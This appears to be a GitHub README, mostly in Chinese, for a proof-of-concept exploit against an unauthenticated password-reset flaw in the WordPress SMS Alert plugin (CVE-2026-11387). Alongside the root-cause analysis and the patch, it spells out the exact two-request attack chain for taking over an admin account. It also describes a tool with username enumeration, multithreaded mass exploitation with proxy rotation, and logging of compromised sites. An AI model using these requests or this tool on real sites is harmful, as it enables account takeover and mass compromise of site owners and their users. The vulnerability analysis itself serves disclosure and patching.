1beelze/CVE-2026-11387

GitHub: 1beelze/CVE-2026-11387

针对 WordPress SMS Alert 插件任意密码重置漏洞(CVE-2026-11387)的 PoC 利用工具,演示如何绕过 OTP 实现未授权账户接管。

Stars: 1 | Forks: 0

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ 通过任意密码重置实现未授权权限提升 ☆
=== Beelze ===

## 📋 漏洞信息
| 字段 | 详情 | |---|---| | CVE ID | CVE-2026-11387 | | CVSS Score | 9.8 严重 | | CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | 类型 | 缺少身份验证 / OTP 绕过 | | 插件 | SMS Alert – OTP Verification for WooCommerce (`sms-alert`) | | 受影响版本 | ≤ 3.9.5 | | 已修复版本 | 3.9.6 | | 发布时间 | 2026 | | PoC | Beelze |
## 🔍 描述 SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 存在 **未授权权限提升** 漏洞,可通过任意密码重置触发。该插件的密码重置处理器仅通过检查 `$_REQUEST['option']` 是否为字符串 `smsalert-change-password-form` 来验证重置操作,而没有验证 OTP 验证是否已完成。 session 种子机制中存在一个严重的竞争条件,允许攻击者通过两次 HTTP 请求接管任何账户: 1. 向找回密码表单发送带有目标 `user_login` 的 POST 请求 —— 这会触发 `smsalert_site_challenge_otp()`,该函数会在未验证任何 OTP 的情况下为 `$_SESSION['user_login']` 设置种子值。 2. 发送带有选定新密码的 `option=smsalert-change-password-form` POST 请求 —— `routeData()` 会读取预设的 `$_SESSION['user_login']` 并无条件调用 `reset_password()`。 3. 使用新凭据登录 —— 确认账户已接管。 4. 该攻击无需身份验证、无需 OTP,也无需受害者的任何交互。 5. 如果目标用户在 WooCommerce 中注册了账单电话号码,则任何 WordPress 账户 —— 包括管理员 —— 都可以被接管。 ## 🧬 根本原因分析 ### 1. 无权限的 AJAX hook 注册 ``` // sms-alert/smsalert.php add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] ); add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] ); ``` ### 2. OTP 挑战在未验证的情况下为 session 设置种子值 ``` // handler/forms/class-wpresetpassword.php public function smsalert_site_challenge_otp() { $user_login = sanitize_text_field( $_REQUEST['user_login'] ); $user = get_user_by( 'login', $user_login ) ?: get_user_by( 'email', $user_login ); if ( $user ) { // ❌ $_SESSION['user_login'] is set HERE — before OTP verification $_SESSION['user_login'] = $user->user_login; $_SESSION['smsalert_otp'] = $this->generate_otp(); $_SESSION[self::SESSION_VAR] = 'otp_sent'; // NOT 'validated' $this->send_otp( $user ); } } ``` ### 3. routeData() 仅检查 $_REQUEST['option'] —— 无 session 状态防护 ``` // handler/forms/class-wpresetpassword.php public function routeData() { $option = sanitize_text_field( $_REQUEST['option'] ?? '' ); if ( $option === 'smsalert-change-password-form' ) { // ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; } $this->reset_password(); } } ``` ### 4. reset_password() 无条件使用预设的 session 执行 ``` // handler/forms/class-wpresetpassword.php private function reset_password() { $user_login = $_SESSION['user_login'] ?? ''; // poisoned by smsalert_site_challenge_otp() $new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] ); $confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] ); if ( $new_pass !== $confirm || empty( $user_login ) ) { return; } $user = get_user_by( 'login', $user_login ); if ( $user ) { wp_set_password( $new_pass, $user->ID ); // ✅ password changed — no OTP required wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) ); exit; } } ``` ### 5. 3.9.6 版本中的补丁 —— 添加了 session 状态防护 ``` // handler/forms/class-wpresetpassword.php (fixed) public function routeData() { $option = sanitize_text_field( $_REQUEST['option'] ?? '' ); if ( $option === 'smsalert-change-password-form' ) { // ✅ FIXED: OTP must be validated before reset is allowed if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) { wp_die( 'OTP verification required.' ); } $this->reset_password(); } } ``` ## ⚔️ 攻击链 ``` Attacker (no auth) │ │ POST /my-account/lost-password/ │ body: user_login=admin ▼ ┌─────────────────────────────────────────┐ │ smsalert_site_challenge_otp() │ │ → $_SESSION['user_login'] = 'admin' │ ← session poisoned 💀 │ → $_SESSION[SESSION_VAR] = 'otp_sent' │ │ → OTP sent to victim's phone │ │ (attacker never sees the OTP) │ └─────────────────────────────────────────┘ │ │ POST /my-account/lost-password/ │ body: option=smsalert-change-password-form │ smsalert_user_newpwd=Pwned123! │ smsalert_user_cnfpwd=Pwned123! ▼ ┌─────────────────────────────────────────┐ │ routeData() │ │ → checks $_REQUEST['option'] only │ │ → SESSION_VAR check: SKIPPED ❌ │ │ → reset_password() called │ │ → wp_set_password('admin', newpwd) │ ← password changed 😈 └─────────────────────────────────────────┘ │ │ POST /wp-login.php │ log=admin pwd=Pwned123! ▼ ┌─────────────────────────────────────────┐ │ Login SUCCESS │ │ wordpress_logged_in_* cookie set │ ← TAKEOVER CONFIRMED 💀 └─────────────────────────────────────────┘ ``` ## 🛠️ 工具 ### CVE-2026-11387.py — 完整利用链 ``` # 单个目标 exploit python CVE-2026-11387.py # → Mode 1,输入目标 URL + 用户名 # 仅 Username 枚举 python CVE-2026-11387.py # → Mode 2 # 批量 exploit(多线程 + 代理轮换) python CVE-2026-11387.py # → Mode 3,targets.txt,threads,代理文件 # 仅 Fingerprint(不进行 exploit) python CVE-2026-11387.py # → Mode 4,输出 CSV ``` ``` Exploit Phases: Phase 1 — Reachability check + HTTP fallback Phase 2 — Version fingerprint via readme.txt Phase 3 — Username enumeration (REST API / sitemap / author archive) Phase 4 — OTP challenge trigger (session poisoning) Phase 5 — Password reset via routeData() bypass Phase 6 — Login verification (wordpress_logged_in_* cookie) ``` ``` Sample output (scan_results/CVE-2026-11387_success.txt): [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa ``` ## 🔌 缓解措施 将 SMS Alert 更新至 **3.9.6 版本** 或更高版本。
**[Beelze]** — 仅用于教育和授权的安全研究
标签:PoC, StruQ, Web安全, WooCommerce, WordPress插件, 协议分析, 文件完整性监控, 暴力破解, 权限提升, 蓝队分析, 逆向工具